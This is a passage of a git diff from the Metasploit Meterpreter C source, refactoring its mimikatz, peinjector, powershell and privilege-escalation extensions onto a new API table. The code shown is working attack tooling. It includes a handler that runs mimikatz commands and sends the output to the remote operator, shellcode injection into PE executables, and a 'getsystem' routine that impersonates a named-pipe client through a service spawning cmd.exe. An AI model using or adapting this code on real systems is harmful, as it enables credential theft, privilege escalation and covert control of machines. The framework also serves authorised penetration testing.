initialize_mimikatz(); - myMimiKatz->doCommandeLocale(&function, &args); + wchar_t* convert_wstring_to_wchar_t(wstring in) + { + const wchar_t* outputStr = in.c_str(); + wchar_t* out = new wchar_t[in.size() + 1]; + wcscpy_s(out, in.size() + 1, outputStr); + out[in.size()] = '\0'; + return out; + } - wchar_t* output = convert_wstring_to_wchar_t(oss.str()); - - clear_buffer(); + DWORD request_custom_command(Remote* remote, Packet* packet) + { + Packet* response = met_api->packet.create_response(packet); + Tlv argTlv = { 0 }; + DWORD index = 0; + vector args; - packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t))); - packet_transmit_response(ERROR_SUCCESS, remote, response); - - return ERROR_SUCCESS; -} - -Command customCommands[] = -{ - COMMAND_REQ( "mimikatz_custom_command", request_custom_command ), - COMMAND_TERMINATOR -}; - -/*! - * @brief Initialize the server extension. - * @param remote Pointer to the remote instance. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) -{ - hMetSrv = remote->met_srv; - - command_register_all( customCommands ); - - return ERROR_SUCCESS; -} - -/*! - * @brief Deinitialize the server extension. - * @param remote Pointer to the remote instance. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) -{ - command_deregister_all( customCommands ); - - return ERROR_SUCCESS; -} - -/*! - * @brief Get the name of the extension. - * @param buffer Pointer to the buffer to write the name to. - * @param bufferSize Size of the \c buffer parameter. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) -{ - strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1); - return ERROR_SUCCESS; -} + LPCSTR func = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); + dprintf("Function: %s", met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); + wstring function = s2ws(func); + while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv) == ERROR_SUCCESS) + { + dprintf("Arg: %s", (PCHAR)argTlv.buffer); + args.push_back(s2ws((PCHAR)argTlv.buffer)); + } + + clear_buffer(); + + initialize_mimikatz(); + myMimiKatz->doCommandeLocale(&function, &args); + + wchar_t* output = convert_wstring_to_wchar_t(oss.str()); + + clear_buffer(); + + met_api->packet.add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output) * sizeof(wchar_t))); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); + + return ERROR_SUCCESS; + } + + Command customCommands[] = + { + COMMAND_REQ("mimikatz_custom_command", request_custom_command), + COMMAND_TERMINATOR + }; + + /*! + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) + { + met_api = api; + + met_api->command.register_all(customCommands); + + return ERROR_SUCCESS; + } + + /*! + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) + { + met_api->command.deregister_all(customCommands); + + return ERROR_SUCCESS; + } + + /*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) + { + strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1); + return ERROR_SUCCESS; + } } diff --git a/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp b/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp index 4a0e9d9f..1d3bfe40 100644 --- a/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp +++ b/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp @@ -4,6 +4,7 @@ Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ #include "kmodel.h" +#include HMODULE g_hModule = NULL; @@ -56,9 +57,9 @@ DWORD WINAPI ThreadProc(LPVOID lpParameter) fonction = fonction.substr(0, monIndex); } - string procDll(fonction.begin(), fonction.end()); + _bstr_t procDll(wstring(fonction.begin(), fonction.end()).c_str()); - ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); + ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, (const char*)procDll)); if(maFonction) { diff --git a/c/meterpreter/source/extensions/peinjector/libpefile.c b/c/meterpreter/source/extensions/peinjector/libpefile.c index 45e92d1e..9690fb0f 100755 --- a/c/meterpreter/source/extensions/peinjector/libpefile.c +++ b/c/meterpreter/source/extensions/peinjector/libpefile.c @@ -7,7 +7,8 @@ #include #include #include "libpefile.h" -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" /* Min/Max Macros */ #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) @@ -358,7 +359,7 @@ bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) { FILE *fh; /* Open file */ - wchar_t *file_w = utf8_to_wchar(file); + wchar_t *file_w = met_api->string.utf8_to_wchar(file); if (_wfopen_s(&fh, file_w, L"rb") == 0) { /* Get file size and allocate buffer */ @@ -539,7 +540,7 @@ bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) { /* Open file */ FILE *fh; - wchar_t *file_w = utf8_to_wchar(file); + wchar_t *file_w = met_api->string.utf8_to_wchar(file); if (_wfopen_s(&fh, file_w, L"wb") == 0) { /* Generate PE File memory */ diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect.c b/c/meterpreter/source/extensions/peinjector/libpeinfect.c index 792e67a9..032e3062 100755 --- a/c/meterpreter/source/extensions/peinjector/libpeinfect.c +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect.c @@ -7,7 +7,8 @@ #include #include "libpeinfect.h" #include "libpeinfect_obfuscator.h" -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" /* Min/Max Macros */ #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) @@ -757,7 +758,7 @@ bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) { /* Open file */ FILE *fh; - wchar_t *file_w = utf8_to_wchar(infile); + wchar_t *file_w = met_api->string.utf8_to_wchar(infile); if (_wfopen_s(&fh, file_w, L"rb") == 0) { /* Get file size and allocate buffer */ diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.c b/c/meterpreter/source/extensions/peinjector/peinjector.c index b2df4498..157f2031 100755 --- a/c/meterpreter/source/extensions/peinjector/peinjector.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector.c @@ -2,17 +2,16 @@ * @file peinjector.c * @brief Entry point and intialisation definitions for the Peinjector extension */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +// Required so that use of the API works. +MetApi* met_api = NULL; #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "peinjector_bridge.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - Command customCommands[] = { COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode), @@ -20,25 +19,41 @@ Command customCommands[] = }; /*! - * @brief Initialize the server extension + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; - dprintf("[PEINJECTOR] Initializing peinjector..."); + met_api = api; - command_register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } + +/*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) +{ + strncpy_s(buffer, bufferSize, "peinjector", bufferSize - 1); + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c index 4209d83a..2e2d1014 100755 --- a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to peinjector */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "peinjector.h" #include "peinjector_bridge.h" #include "libpeinfect.h" @@ -46,15 +47,15 @@ void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); if (response) { - BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); - UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); - BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); + BYTE* shellcode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); + UINT size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); + BOOL is_x64 = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); - char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); + char* target_executable_path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); @@ -77,15 +78,15 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) } else { dprintf("There was an error, shellcode not injected\n"); - packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); + met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); - packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); + met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } else { diff --git a/c/meterpreter/source/extensions/powershell/powershell.c b/c/meterpreter/source/extensions/powershell/powershell.c index 98cbadff..dd1bc1af 100755 --- a/c/meterpreter/source/extensions/powershell/powershell.c +++ b/c/meterpreter/source/extensions/powershell/powershell.c @@ -2,20 +2,17 @@ * @file powershell.c * @brief Entry point and intialisation definitions for the Powershell extension */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "powershell_bridge.h" #include "powershell_bindings.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - static BOOL gSuccessfullyLoaded = FALSE; /*! @brief List of commands that the powershell extension provides. */ @@ -30,19 +27,21 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; + gRemote = remote; DWORD result = initialize_dotnet_host(); if (result == ERROR_SUCCESS) { - command_register_all(customCommands); + met_api->command.register_all(customCommands); } return result; @@ -55,7 +54,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); deinitialize_dotnet_host(); return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp b/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp index 2ec9464d..c1dbe978 100755 --- a/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp +++ b/c/meterpreter/source/extensions/powershell/powershell_bindings.cpp @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to powershell */ extern "C" { -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "powershell_bindings.h" } @@ -25,7 +26,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int dprintf("[PSH BINDING] Packet payload length: %u", packet.payloadLength); dprintf("[PSH BINDING] Packet local flag: %u", isLocal); - command_handle(gRemote, &packet); + met_api->command.handle(gRemote, &packet); if (packet.partner != NULL) { @@ -34,7 +35,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int *output = (unsigned char*)LocalAlloc(LPTR, packet.partner->payloadLength); *outputLength = packet.partner->payloadLength; memcpy(*output, packet.partner->payload, packet.partner->payloadLength); - packet_destroy(packet.partner); + met_api->packet.destroy(packet.partner); } else { diff --git a/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp b/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp index 8bca0ba4..2188a13e 100755 --- a/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp +++ b/c/meterpreter/source/extensions/powershell/powershell_bridge.cpp @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to powershell */ extern "C" { -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "powershell.h" #include "powershell_bridge.h" #include "powershell_bindings.h" @@ -90,7 +91,7 @@ DWORD load_assembly(BYTE* assemblyData, DWORD assemblySize) } dprintf("[PSH] Assembly appears to have been loaded successfully"); - list_add(gLoadedAssemblies, loadedAssembly); + met_api->list.add(gLoadedAssemblies, loadedAssembly); } while (0); if (SUCCEEDED(hr)) @@ -385,7 +386,7 @@ DWORD initialize_dotnet_host() break; } - gLoadedAssemblies = list_create(); + gLoadedAssemblies = met_api->list.create(); dprintf("[PSH] Runtime has been initialized successfully"); } while(0); @@ -437,8 +438,8 @@ VOID deinitialize_dotnet_host() SAFE_RELEASE(gClrPowershellType); - list_enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL); - list_destroy(gLoadedAssemblies); + met_api->list.enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL); + met_api->list.destroy(gLoadedAssemblies); SAFE_RELEASE(gClrPowershellAssembly); SAFE_RELEASE(gClrAppDomainInterface); @@ -455,12 +456,12 @@ DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LP if (shell->output.length() > 1 && shell->wait_handle != NULL) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); dprintf("[PSH SHELL] received notification to write"); - DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL); + DWORD result = met_api->channel.write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL); shell->output = ""; ResetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); dprintf("[PSH SHELL] write completed"); } @@ -474,11 +475,11 @@ DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext, if (shell->wait_handle) { HANDLE h = shell->wait_handle; - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); unchannelise_session(shell->session_id); shell->wait_handle = NULL; - lock_release(shell->buffer_lock); - lock_destroy(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); + met_api->lock.destroy(shell->buffer_lock); CloseHandle(h); } return ERROR_SUCCESS; @@ -494,9 +495,9 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont { dprintf("[PSH SHELL] beginning interaction"); shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL); - shell->buffer_lock = lock_create(); + shell->buffer_lock = met_api->lock.create(); - result = scheduler_insert_waitable(shell->wait_handle, channel, context, + result = met_api->scheduler.insert_waitable(shell->wait_handle, channel, context, powershell_channel_interact_notify, powershell_channel_interact_destroy); channelise_session(shell->session_id, channel, context); @@ -507,7 +508,7 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont else if (shell->wait_handle != NULL) { dprintf("[PSH SHELL] stopping interaction"); - result = scheduler_signal_waitable(shell->wait_handle, Stop); + result = met_api->scheduler.signal_waitable(shell->wait_handle, SchedulerStop); } return result; @@ -526,10 +527,10 @@ DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context DWORD result = invoke_ps_command(shell->session_id, codeMarshall, output); if (result == ERROR_SUCCESS && shell->wait_handle) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); shell->output += output; SetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); } return result; } @@ -542,10 +543,10 @@ void powershell_channel_streamwrite(__int64 rawContext, __int64 rawMessage) if (shell->wait_handle) { - lock_acquire(shell->buffer_lock); + met_api->lock.acquire(shell->buffer_lock); shell->output += message; SetEvent(shell->wait_handle); - lock_release(shell->buffer_lock); + met_api->lock.release(shell->buffer_lock); } } @@ -716,7 +717,7 @@ DWORD unchannelise_session(wchar_t* sessionId) DWORD request_powershell_shell(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); InteractiveShell* shell = NULL; if (response) @@ -732,7 +733,7 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) dwResult = ERROR_OUTOFMEMORY; break; } - shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + shell->session_id = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); if (shell->session_id != NULL) { @@ -748,13 +749,13 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) chanOps.native.write = powershell_channel_write; chanOps.native.interact = powershell_channel_interact; shell->output = "PS > "; - Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps); + Channel* newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps); - channel_set_type(newChannel, "psh"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->channel.set_type(newChannel, "psh"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (dwResult != ERROR_SUCCESS) @@ -774,23 +775,23 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet) DWORD request_powershell_execute(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE); + char* code = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE); if (code != NULL) { _bstr_t codeMarshall(code); _bstr_t output; - sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); dwResult = invoke_ps_command(sessionId, codeMarshall, output); if (dwResult == ERROR_SUCCESS) { - packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output); + met_api->packet.add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output); } } else @@ -798,7 +799,7 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet) dprintf("[PSH] Code parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); @@ -815,15 +816,15 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet) DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - BYTE* binary = packet_get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY); + BYTE* binary = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY); if (binary != NULL) { - DWORD binarySize = packet_get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE); + DWORD binarySize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE); dwResult = load_assembly(binary, binarySize); } else @@ -831,7 +832,7 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) dprintf("[PSH] Assembly parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); @@ -848,16 +849,16 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet) DWORD request_powershell_session_remove(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); wchar_t* sessionId = NULL; if (response) { - sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); + sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID); dwResult = remove_session(sessionId); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } SAFE_FREE(sessionId); diff --git a/c/meterpreter/source/extensions/priv/server/elevate/elevate.c b/c/meterpreter/source/extensions/priv/server/elevate/elevate.c index 195b4001..acf131d2 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/elevate.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/elevate.c @@ -3,6 +3,7 @@ * @brief Definitions for SYSTEM privilege escalation. */ #include "precomp.h" +#include "common_metapi.h" #include "namedpipe.h" #include "tokendup.h" @@ -74,11 +75,11 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) - BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE ); + BREAK_WITH_ERROR( "[ELEVATE] get_system. met_api->packet.create_response failed", ERROR_INVALID_HANDLE ); - dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); + dwTechnique = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique ); if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) { @@ -108,8 +109,8 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet ) if( response ) { - packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE ); - packet_transmit_response( dwResult, remote, response ); + met_api->packet.add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE ); + met_api->packet.transmit_response( dwResult, remote, response ); } return dwResult; diff --git a/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c b/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c index 1fe634cd..5bc06c7f 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "namedpipe.h" #include "service.h" @@ -42,7 +43,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) } while (TRUE) { - if (event_poll(thread->sigterm, 0)) { + if (met_api->event.poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } @@ -80,7 +81,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) // now we can set the meterpreters thread token to that of our system // token so all subsequent meterpreter threads will use this token. - core_update_thread_token(remote, hToken); + met_api->thread.update_token(remote, hToken); dwResult = ERROR_SUCCESS; @@ -129,7 +130,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } - cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); + cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); @@ -142,14 +143,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pThread)) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", + if (!met_api->thread.run(pThread)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed", ERROR_ACCESS_DENIED); } @@ -176,10 +177,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) } // signal our thread to terminate if it is still running - thread_sigterm(pThread); + met_api->thread.sigterm(pThread); // and wait for it to terminate... - thread_join(pThread); + met_api->thread.join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); @@ -197,7 +198,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) } if (pThread) { - thread_destroy(pThread); + met_api->thread.destroy(pThread); } if (hSem) { CloseHandle(hSem); @@ -232,9 +233,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) do { - cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); - dwServiceLength = packet_get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH); - lpServiceBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL); + cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); + dwServiceLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH); + lpServiceBuffer = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL); if (!cpServiceName || !dwServiceLength || !lpServiceBuffer) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. invalid arguments", @@ -278,14 +279,14 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pThread)) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", + if (!met_api->thread.run(pThread)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed", ERROR_ACCESS_DENIED); } @@ -311,9 +312,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) WaitForSingleObject(pThread->handle, 10000); - thread_sigterm(pThread); + met_api->thread.sigterm(pThread); - thread_join(pThread); + met_api->thread.join(pThread); // get the exit code for our pthread if (!GetExitCodeThread(pThread->handle, &dwResult)) { @@ -339,7 +340,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } if (pThread) { - thread_destroy(pThread); + met_api->thread.destroy(pThread); } if (hSem) { diff 